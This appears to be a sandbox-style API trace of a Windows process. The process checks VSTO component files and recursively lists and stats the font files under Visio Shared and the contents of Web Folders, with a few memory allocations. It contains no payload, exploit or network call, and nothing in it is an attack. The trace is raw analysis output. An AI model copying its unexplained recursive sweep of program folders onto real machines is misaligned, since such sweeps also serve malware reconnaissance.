	[0050.791] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x124dfc28 | out: lpFileInformation=0x124dfc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558)) returned 1
	[0050.792] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), fInfoLevelId=0x0, lpFileInformation=0x124dfc78 | out: lpFileInformation=0x124dfc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950)) returned 1
	[0050.793] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), fInfoLevelId=0x0, lpFileInformation=0x124dfcc8 | out: lpFileInformation=0x124dfcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68)) returned 1
	[0050.794] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), fInfoLevelId=0x0, lpFileInformation=0x124dfd18 | out: lpFileInformation=0x124dfd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148)) returned 1
	[0050.794] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), fInfoLevelId=0x0, lpFileInformation=0x124dfd68 | out: lpFileInformation=0x124dfd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50)) returned 1
	[0050.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), fInfoLevelId=0x0, lpFileInformation=0x124dfdb8 | out: lpFileInformation=0x124dfdb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550)) returned 1
	[0050.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared"), fInfoLevelId=0x0, lpFileInformation=0x124dfe08 | out: lpFileInformation=0x124dfe08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.796] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.796] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0050.796] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.796] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.796] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x124dfea8 | out: lpFileInformation=0x124dfea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1
	[0050.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1
	[0050.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1
	[0050.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1
	[0050.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1
	[0050.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1
	[0050.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1
	[0050.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1
	[0050.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1
	[0050.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1
	[0050.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.798] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.799] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), fInfoLevelId=0x0, lpFileInformation=0x1265c288 | out: lpFileInformation=0x1265c288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea)) returned 1
	[0050.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), fInfoLevelId=0x0, lpFileInformation=0x1265c2d8 | out: lpFileInformation=0x1265c2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d)) returned 1
	[0050.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), fInfoLevelId=0x0, lpFileInformation=0x1265c328 | out: lpFileInformation=0x1265c328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6)) returned 1
	[0050.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), fInfoLevelId=0x0, lpFileInformation=0x1265c378 | out: lpFileInformation=0x1265c378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9)) returned 1
	[0050.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), fInfoLevelId=0x0, lpFileInformation=0x1265c3c8 | out: lpFileInformation=0x1265c3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01)) returned 1
	[0050.800] VirtualAlloc (lpAddress=0x0, dwSize=0xafc7c, flAllocationType=0x3000, flProtect=0x4) returned 0x32e60000
	[0050.801] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x32f10000
	[0050.801] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), fInfoLevelId=0x0, lpFileInformation=0x1265c418 | out: lpFileInformation=0x1265c418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146)) returned 1
	[0050.801] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), fInfoLevelId=0x0, lpFileInformation=0x1265c468 | out: lpFileInformation=0x1265c468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3)) returned 1
	[0050.802] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), fInfoLevelId=0x0, lpFileInformation=0x1265c4b8 | out: lpFileInformation=0x1265c4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5)) returned 1
	[0050.803] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), fInfoLevelId=0x0, lpFileInformation=0x1265c508 | out: lpFileInformation=0x1265c508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413)) returned 1
	[0050.803] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), fInfoLevelId=0x0, lpFileInformation=0x1265c558 | out: lpFileInformation=0x1265c558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98)) returned 1
	[0050.803] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders"), fInfoLevelId=0x0, lpFileInformation=0x1265c5a8 | out: lpFileInformation=0x1265c5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.804] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.804] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0050.804] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1
	[0050.804] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.804] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
